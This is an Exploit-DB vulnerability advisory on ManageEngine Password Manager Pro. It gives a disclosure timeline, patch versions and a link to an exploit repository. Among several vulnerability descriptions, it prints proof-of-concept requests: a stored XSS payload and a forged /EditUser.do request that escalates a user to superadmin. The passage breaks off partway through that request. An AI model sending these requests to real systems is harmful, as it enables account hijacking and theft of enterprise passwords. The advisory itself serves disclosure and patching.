Exploit-DB #39664
Description: ManageEngine Password Manager Pro 8102 to 8302 - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2016-04-05
Author: S3ba

Exploit:
[Systems Affected]
   Product : ManageEngine Password Manager Pro
   Company : ZOHO Corp.
   Build Number : 8.1 to 8.3 and probably earlier versions
   Affected Versions : 8102 to 8302 and probably earlier versions


[Product Description]
   Password Manager Pro is a secure vault for storing and managing
shared sensitive information such as passwords, documents and digital
identities of enterprises.


[Vulnerabilities]
   Multiple vulnerabilities were identified within this application:
   1- Stored XSS in /AddMail.ve
   2- Privilege escalation in /EditUser.do
   3- Business Login Bypass in /EditUser.do
   4- Password policy bypass in /jsp/xmlhttp/AjaxResponse.jsp
   5- Horizontal privilege escalation in /jsp/xmlhttp/AjaxResponse.jsp
   6- Resource's user enumeration in /jsp/xmlhttp/PasswdRetriveAjaxResponse.jsp
   7- Password Bruteforce for resources accounts in
/jsp/xmlhttp/AjaxResponse.jsp
   8- Cross-Site Request Forgery


[Advisory Timeline]
   17/07/2015 - Discovery and vendor notification
   17/07/2015 - ManageEngine responsed that they will notify their
development team
   13/10/2015 - ManageEngine informed that they have fixed these issue
   14/10/2015 - Fixed Password Manager Pro build version 8300 has been released
   15/10/2015 - Test on Beta build version 8300 was performed and
confirm the fix of these issues 2, 4, 7 and part of issue 8
   02/11/2015 - ManageEngine ask more time to fix the remaining issues
before making this public
   29/12/2015 - ManageEngine contacted for an update - No reply
   12/01/2016 - ManageEngine contacted for an update - No reply
   08/02/2016 - ManageEngine contacted for an update - small update provided
   12/02/2016 - Last communication from ManageEngine
   04/04/2016 - Public Disclosure


[Patch Available]
   Password Manager Pro Release 8.3 (8300) (Released on October, 2015)
fix issues #2, #4, #7 and partially #8
   Password Manager Pro Release 8.3 (8303) (Released on December 2015)
fix issues #1, #3, #5 and #6


[Exploit]
   There is an exploit available that takes advantage of the Privilege
Escalation vulnerability (Issue #2) and elevates a regular user to
SuperAdmin, and then downloads the passwords and files stored within
the application. The exploit code is available here
   - https://github.com/s3bap3/pmp-exploit


[Description of Vulnerabilities]

(1) Stored XSS in /AddMail.ve.
   This functionality is under the personal accounts stored in the
application. However, as the page is also vulnerable to CSRF, an html
form can be forged to create a personal account an exploit the XSS
vulnerability. The affected parameter is "password", and the POST
message to send is something like this

   [PoC]
      POST /AddMail.ve?SUBREQUEST=XMLHTTP HTTP/1.1

      service=1&serviceurl=1&loginname=1&password=<!--+--+--><script>alert%28'XSS'%29;<%2fscript><!--+--+-->&spassword=&tags=1&Rule=Low&FORWARDURL=MailAccount.cc%3F


(2) Privilege escalation in /EditUser.do that allows to do 2 things.
   a- Hijack user's sessions by changing their emails and accessing
the forgot password functionality.
   The affected parameter is "EMAIL" from the /EditUser.do web page.
Any user (even PASSWORD USER's role) could send a craft POST method
like the one below in order to change the user email address, which is
being used to generate a new user password when the previous one was
forgotten. The only attribute that needs to be changed from one
request to another is the LOGINID, which is a sequence number that
represent the User numeric ID.

   b- Escalate privileges by changing the user account status from
Password user to superadmin.
   By forging a similar request it is possible to raise our own
privileged to become a privileged user. For example, the parameter
"ROLE" can be changed to "Password Auditor" "Password Administrator"
or even "Administrator " and become it. It is also possible to become
a superAdmin by changing the parameter "superAdmin" from false to
true. This will allow us to take control of the application and all
the passwords stored on it. In order to become superAdmin, the user
role needs to be Administrator. Both can be achieved by forging the
same request. In this scenario there are two parameters to be aware
of.
   - USERID and LOGINID is the numeric account id to which the
superadmin attribute will be granted (could be obtained from the login
reply)
   - USER is the username to which the superadmin attribute will be granted

   [PoC]
      POST /EditUser.do?SUBREQUEST=true HTTP/1.1
      Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED]4832

      ----------------------------[PII_REDACTED]4832
      Content-Disposition: form-data; name="isloginusersa"

      false
      ----------------------------[PII_REDACTED]4832
      Content-Disposition: form-data; name="superadminscope"

      true
      ----------------------------[PII_REDACTED]4832
      Content-Disposition: form-data; name="SERVERPORT"

      7272
      ----------------------------[PII_REDACTED]4832
      Content-Disposition: form-data; name="OLDROLE"

      Administrator
      ----------------------------[PII_REDACTED]4832
      Content-Disposition: form-data; name="USERID"

      4
      ----------------------------[PII_REDACTED]4832
      Content-Disposition: form-data; name="LOGINID"

      4
      ----------------------------[PII_REDACTED]4832
      Content-Disposition: form-data; name="USER"

      username
      ----------------------------[PII_REDACTED]4832
      Content-Disposition: form-data; name="OLDLANG"

      en
      ----------------------------[PII_REDACTED]4832
      Content-Disposition: form-data; name="EMAIL"

      pwned@user.com
      ----------------------------[PII_REDACTED]4832
      Content-Disposition: form-data; name="ROLE"

      Administrator
      ----------------------------[PII_REDACTED]4832
      Content-Disposi